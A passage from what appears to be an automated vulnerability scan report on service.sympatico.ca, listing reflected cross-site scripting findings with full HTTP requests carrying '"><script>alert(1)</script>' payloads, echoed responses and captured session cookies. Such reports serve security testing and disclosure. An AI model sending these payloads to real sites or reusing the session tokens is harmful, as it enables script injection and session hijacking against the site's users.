Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:20 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:20 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:20 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:20 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:20 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:20 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:20 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:20 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:20 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/imagesaa574"><script>alert(1)</script>3fefd3e3821/icons/vi_topNavTelevision.png" />
...[SNIP]...

2.161. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavTelevision.png [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavTelevision.png

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload db621"><script>alert(1)</script>00caf8d92cc was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/iconsdb621"><script>alert(1)</script>00caf8d92cc/vi_topNavTelevision.png HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:22 GMT
Connection: close
Set-Cookie: SMSESSION=T2fLgrY6PaYFYSRlnhhKgUUak355PY0e4Xp+lLK7BKbLfMSb70dHhxyZmHb9Qr0+0w4nFQFjvwxmeYnAoJhQBkyx7JIf3oeZLWj7KoWnT/bAR9b1ksiq961uXMc7BnOiOSPYlq3qsL/EtRfFmW8jQZ1JL5iM1bKJzgUmuRQcXaOyfIVQoE0ouzQ/EGUzVcowaJ459dk16RnT4TNl7+lMVOBWmoNZPBc2C8YshdRiLrRew36p96iUDfNaq9VXttu47t4N4nkGrt5euRcoz2vigW3jbwm9Xn3UTNEn6iiTbK30a58s3uTHfg==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:22 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:22 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:22 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:22 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:22 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:22 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
vice.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/iconsdb621"><script>alert(1)</script>00caf8d92cc/vi_topNavTelevision.png" />
...[SNIP]...

2.162. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavTelevision.png [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavTelevision.png

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f1d6c"><script>alert(1)</script>4d4c24994aa was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavTelevision.pngf1d6c"><script>alert(1)</script>4d4c24994aa HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:25 GMT
Connection: close
Set-Cookie: SMSESSION=V0cU5nFUSYjE8t6f94liu08sMNwByvfjYJaQ4oEe9YUVC0XEkk0hezn5iWAhKCrHlzETbkNDmde5RXKLPi7s6+A7nVnTfH2prQ61e/evIWlGoK0Ywe4TfGGpFc5PG9fL39tyz7fGUVgXxyHfT1MgW1oKrBW9gXFsA/YbMseFrsA4UryY+A8gfOIT73MJoawJ7JF4+L+UWPXURp2quNBV9rURTpemokDL65jTpHdk84k11lpAPrVWVkHoPT4s3ZU4Bk6btswnJFm77UyL9ZyQxLD7vYpp7d+FZAtBR4ar6EpxzgHhy0v/ig==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:25 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:25 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:25 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:25 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:25 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:25 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:25 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:25 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:25 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:25 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:25 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:25 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:25 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:25 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavTelevision.pngf1d6c"><script>alert(1)</script>4d4c24994aa" />
...[SNIP]...

2.163. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavTelevision.png [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavTelevision.png

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5ba9c"><script>alert(1)</script>224881da6fb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavTelevision.png?5ba9c"><script>alert(1)</script>224881da6fb=1 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:09 GMT
Connection: close
